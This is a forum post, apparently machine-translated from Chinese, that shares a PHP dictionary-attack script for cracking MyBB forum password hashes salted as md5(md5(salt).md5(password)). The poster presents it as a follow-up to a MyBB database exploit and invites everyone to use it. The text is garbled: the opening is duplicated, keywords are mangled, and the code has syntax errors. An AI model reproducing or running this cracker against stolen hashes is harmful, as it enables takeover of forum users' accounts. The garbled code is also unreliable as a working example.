Two days ago, after the myBB Forum exploit disappeared, the password cracked was abnormal ~ It is in the form of md5 (salt). md (pass ~ No progress ~ Today I wrote a small exploitation program ~ Hope everyone can use it ~ Pass.txt is the password dictionary ~~ One line ~ In addition, although the program uses a very junk Syntax
Two days ago, after the myBB Forum exploit disappeared, the password cracked was abnormal ~ It is in the form of md5 (salt). md (pass ~
No progress ~ Today I wrote a small exploitation program ~ Hope everyone can use it ~
Pass.txt is the password dictionary ~~ One line ~
In addition, although the program uses very Junk English characters, the program is absolutely original ~
[Copy to clipboard] [-] CODE:
/*
MyBB Forum brute-force password cracking tool for PHP By Cool_wXd [C.R. S.T]
This program is mainly for the MyBB Forum program password encryption form md5 (md5 (salt). md5 (password ))
Because the exploit program for MyBB on the network only cracks the password in the database, but does not crack the real password
It is also because of this problem recently, so I hope this simple small program can be helpful!
*/
If ($ argc <3)
{
Print "--------------------------------------------------------------";
Print "MyBB Password Cracker v1.0 ";
Print "--------------------------------------------------------------";
Print "Usage: mybb_password_cracker.php [md5_hash] [salt]";
Print "--------------------------------------------------------------";
Print "http://www.wolfexp.net & http://hi.baidu.com/cool_wxd ";
Print "By Cool_wXd [C.R. S.T]";
Print "--------------------------------------------------------------";
Die;
}
Function salt_password ($ password, $ salt)
{
Return md5 (md5 ($ salt). md5 ($ password ));
}
$ Md5_hash = $ argv [1];
$ Salt = $ argv [2];
$ Dict = "pass.txt"; // password dictionary
If (strlen ($ md5_hash )! = 32) {echo Error... The md5_hash must be 32 bits; die ;}
If (! File_exists ($ dict) {echo Can not find the password dictionary; die ;}
$ Dict_pass = file ($ dict );
$ Num = sizeof ($ dict_pass );
For ($ I = 0; $ I <$ num; $ I ++)
{
$ Now_password = chop ($ dict_pass [$ I]);
If ($ md5_hash = salt_password ($ now_password, $ salt) {echo Success! (. $ Md5_hash.) is cracked and the true password is :(. $ now_password.); break ;}}
?>
In addition, we tested the password cracking for the account we registered in the forum.